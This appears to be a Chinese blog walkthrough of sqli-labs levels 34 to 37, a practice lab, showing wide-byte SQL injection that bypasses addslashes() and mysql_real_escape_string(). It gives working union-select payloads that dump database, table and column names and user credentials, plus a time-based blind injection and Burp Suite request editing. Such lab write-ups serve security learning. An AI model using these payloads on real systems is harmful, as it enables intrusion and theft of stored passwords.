zoukankan      html  css  js  c++  java
  • Less34-Less37 (宽字节注入)

    Less34:

    输入 admin    admin 登录成功

     

     输入  a   c  登录失败,没有报错信息

     

     看源码

     

    本关也使用了addslashes()函数,理论上我们可以使用前几关中的宽字节注入的方法进行测试,但是测试的时候发现,方法并不奏效。(主要原因是因为我们不能够直接在POST中传入数据,因为会被再次编码)

    分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

    法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘à �’

    法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入

     方法一:

    • 在POST中传入的数据:1 �‘ union select 1,2# (注意:在这里不能够再使用--+   -- 空格等这样的注释符,推荐使用#)其中 第一个1是随意的数字
    •  

     

     

     方法二:

    输入   a%df’   a%df’

     

     抓包

     

     

    • 但我们在这个里面改的时候,通过burpsuite抓包发现还是会给我们加上%25,所以我们直接在burpsuite中修改信息得到返回信息即可!
    •  

    修改信息,forward,intercept is on ,返回关卡界面

     

     

      Less35: id没有任何包裹

    http://192.168.27.156/sqli-labs/Less-35/?id=-1 union select 1,2,3 --+

     

    因为下面的查询都没有涉及到宽字节,所以下面的跟第1关一样

    ?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata --+

    ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

    ?id=-1 union select 1,2,group_concat(concat('~',username,password)) from security.users--+

    使用时间盲注的方法也可以

    http://192.168.27.156/sqli-labs/Less-35/?id=1 and if(length(database())>1,1,sleep(5)  )

     

    Less-36:使用’1’进行包裹   

    http://192.168.27.156/sqli-labs/Less-36/?id=1

     

    http://192.168.27.156/sqli-labs/Less-36/?id=1'     单引号被转义

     

    使用宽字节注入

    http://192.168.27.156/sqli-labs/Less-36/?id=1%df' union select 1,2,3 --+

     

     http://192.168.27.156/sqli-labs/Less-36/?id=-1%df' union select 1,2,group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479  --+

    http://192.168.27.156/sqli-labs/Less-36/?id=-1%df' union select1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

     

    Less37:

     输入  admin   admin   登录成功

     

     输入 ad  a    登录失败

     

    可见与第34关一致, 与34关基本相似,本关只是将过滤函数进行了替换: mysql_real_escape_string(),同样,我们可以直接按照34关的方法即可!

    • 分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

    方法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘ à �'

    方法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入

    方法一:

     

     方法二:抓包

    又将 %转化为%25

     

     

     

  • 相关阅读:
    (二)shell中的变量
    (一)shell脚本入门
    java的动态代理机制详解
    docker学习
    一、Spring Boot 入门
    如何高效的利用博客园?
    CMake入门指南
    TortoiseSVN安装使用
    TortoiseSVN配置和使用教程
    脑电采集 地电极和参考电极的作用和区别
  • 原文地址:https://www.cnblogs.com/7-58/p/12268110.html
Copyright © 2011-2022 走看看